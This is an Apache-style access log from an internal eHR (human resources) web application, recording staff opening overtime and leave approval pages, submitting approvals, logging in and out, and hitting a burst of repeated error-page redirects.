/eHR/mgr/redirect.php?scriptname=page_success&msgtxt=%E6%82%A8%E7%9A%84%E7%B0%BD%E6%A0%B8%EF%BC%8C%E5%B7%B2%E6%88%90%E5%8A%9F%E6%8F%90%E4%BA%A4%E5%88%B0%E5%BE%8C%E5%8F%B0%E8%99%95%E7%90%86.%3Cbr%3E%E6%82%A8%E5%8F%AF%E4%BB%A5%E7%82%B9%3Ca+href%3D%22..%2Fess%2Fredirect.php%3Fscriptname%3DESNH100%26requestno%3D132693%22%3E%E9%80%99%E8%A3%A1%3C%2Fa%3E%E6%9F%A5%E7%9C%8B%E7%B0%BD%E6%A0%B8%E7%B5%90%E6%9E%9C%E3%80%82%3Cbr%3E%E6%89%B9%E6%AC%A1%E8%99%9F%3A132693&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.34 - - [02/Dec/2025:13:02:07 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_success&msgtxt=%E6%82%A8%E7%9A%84%E7%B0%BD%E6%A0%B8%EF%BC%8C%E5%B7%B2%E6%88%90%E5%8A%9F%E6%8F%90%E4%BA%A4%E5%88%B0%E5%BE%8C%E5%8F%B0%E8%99%95%E7%90%86.%3Cbr%3E%E6%82%A8%E5%8F%AF%E4%BB%A5%E7%82%B9%3Ca+href%3D%22..%2Fess%2Fredirect.php%3Fscriptname%3DESNH100%26requestno%3D132693%22%3E%E9%80%99%E8%A3%A1%3C%2Fa%3E%E6%9F%A5%E7%9C%8B%E7%B0%BD%E6%A0%B8%E7%B5%90%E6%9E%9C%E3%80%82%3Cbr%3E%E6%89%B9%E6%AC%A1%E8%99%9F%3A132693&target=iframe HTTP/1.1" 302 - 192.168.40.34 - - [02/Dec/2025:13:02:07 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_success%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.34 - - [02/Dec/2025:13:02:07 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_success%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.34 - - [02/Dec/2025:13:02:07 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.34 - - [02/Dec/2025:13:02:07 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.34 - - [02/Dec/2025:13:02:07 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.34 - - [02/Dec/2025:13:02:07 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.34 - - [02/Dec/2025:13:02:07 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.34 - - [02/Dec/2025:13:02:07 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.34 - - [02/Dec/2025:13:02:08 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.34 - - [02/Dec/2025:13:02:08 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.34 - - [02/Dec/2025:13:02:08 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.34 - - [02/Dec/2025:13:02:08 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.34 - - [02/Dec/2025:13:02:08 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.34 - - [02/Dec/2025:13:02:08 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.34 - - [02/Dec/2025:13:02:08 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.34 - - [02/Dec/2025:13:02:08 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.34 - - [02/Dec/2025:13:02:08 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.34 - - [02/Dec/2025:13:02:08 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.34 - - [02/Dec/2025:13:02:09 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.34 - - [02/Dec/2025:13:02:09 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.34 - - [02/Dec/2025:13:02:09 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.34 - - [02/Dec/2025:13:02:09 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.34 - - [02/Dec/2025:13:02:09 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.34 - - [02/Dec/2025:13:02:09 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.34 - - [02/Dec/2025:13:02:09 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.34 - - [02/Dec/2025:13:02:09 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.34 - - [02/Dec/2025:13:02:09 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.34 - - [02/Dec/2025:13:02:09 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.34 - - [02/Dec/2025:13:02:10 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.34 - - [02/Dec/2025:13:02:10 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.34 - - [02/Dec/2025:13:02:10 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.34 - - [02/Dec/2025:13:02:10 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.34 - - [02/Dec/2025:13:02:10 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.34 - - [02/Dec/2025:13:02:10 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.34 - - [02/Dec/2025:13:02:11 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.34 - - [02/Dec/2025:13:02:11 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.34 - - [02/Dec/2025:13:02:13 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_f9bd01_256x240.png HTTP/1.1" 200 4369 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.34 - - [02/Dec/2025:13:02:13 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_f9bd01_256x240.png HTTP/1.1" 200 4369 192.168.40.34 - - [02/Dec/2025:13:02:14 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000&appdesc=%E9%A6%96%E9%A1%B5 HTTP/1.1" 200 10447 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.34 - - [02/Dec/2025:13:02:14 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000&appdesc=%E9%A6%96%E9%A1%B5 HTTP/1.1" 200 10447 192.168.40.34 - - [02/Dec/2025:13:02:17 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AF%B7%E5%81%87%E5%BE%85%E7%AD%BE HTTP/1.1" 200 16681 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNH000&appdesc=%E9%A6%96%E9%A1%B5" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.34 - - [02/Dec/2025:13:02:17 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AF%B7%E5%81%87%E5%BE%85%E7%AD%BE HTTP/1.1" 200 16681 192.168.40.34 - - [02/Dec/2025:13:02:24 +0800] "POST /eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AF%B7%E5%81%87%E5%BE%85%E7%AD%BE HTTP/1.1" 200 5137 "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AF%B7%E5%81%87%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.34 - - [02/Dec/2025:13:02:24 +0800] "POST /eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AF%B7%E5%81%87%E5%BE%85%E7%AD%BE HTTP/1.1" 200 5137 192.168.40.34 - - [02/Dec/2025:13:02:25 +0800] "GET /eHR/img/Y.png HTTP/1.1" 200 1084 "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AF%B7%E5%81%87%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.34 - - [02/Dec/2025:13:02:25 +0800] "GET /eHR/img/Y.png HTTP/1.1" 200 1084 192.168.40.34 - - [02/Dec/2025:13:02:32 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "-" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.34 - - [02/Dec/2025:13:02:32 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 192.168.40.45 - - [02/Dec/2025:13:03:05 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "-" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.45 - - [02/Dec/2025:13:03:05 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 192.168.40.45 - - [02/Dec/2025:13:03:08 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.45 - - [02/Dec/2025:13:03:08 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - 192.168.40.45 - - [02/Dec/2025:13:03:08 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 7220 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.45 - - [02/Dec/2025:13:03:08 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 7220 192.168.40.45 - - [02/Dec/2025:13:03:09 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10646 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.45 - - [02/Dec/2025:13:03:09 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10646 192.168.40.45 - - [02/Dec/2025:13:03:12 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AF%B7%E5%81%87%E5%BE%85%E7%AD%BE HTTP/1.1" 200 14486 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNH000" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.45 - - [02/Dec/2025:13:03:12 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AF%B7%E5%81%87%E5%BE%85%E7%AD%BE HTTP/1.1" 200 14486 192.168.40.45 - - [02/Dec/2025:13:03:18 +0800] "GET /eHR/upload/userfile/1c5fc98683c0dad84eb0c904334bb1ab.jpg?&openW=Y&rand=0.5361285175810868 HTTP/1.1" 200 548387 "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AF%B7%E5%81%87%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.45 - - [02/Dec/2025:13:03:18 +0800] "GET /eHR/upload/userfile/1c5fc98683c0dad84eb0c904334bb1ab.jpg?&openW=Y&rand=0.5361285175810868 HTTP/1.1" 200 548387 192.168.40.45 - - [02/Dec/2025:13:03:18 +0800] "GET /favicon.ico HTTP/1.1" 404 209 "http://192.168.1.83:8088/eHR/upload/userfile/1c5fc98683c0dad84eb0c904334bb1ab.jpg?&openW=Y&rand=0.5361285175810868" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.45 - - [02/Dec/2025:13:03:18 +0800] "GET /favicon.ico HTTP/1.1" 404 209 192.168.40.45 - - [02/Dec/2025:13:04:05 +0800] "POST /eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AF%B7%E5%81%87%E5%BE%85%E7%AD%BE HTTP/1.1" 200 4641 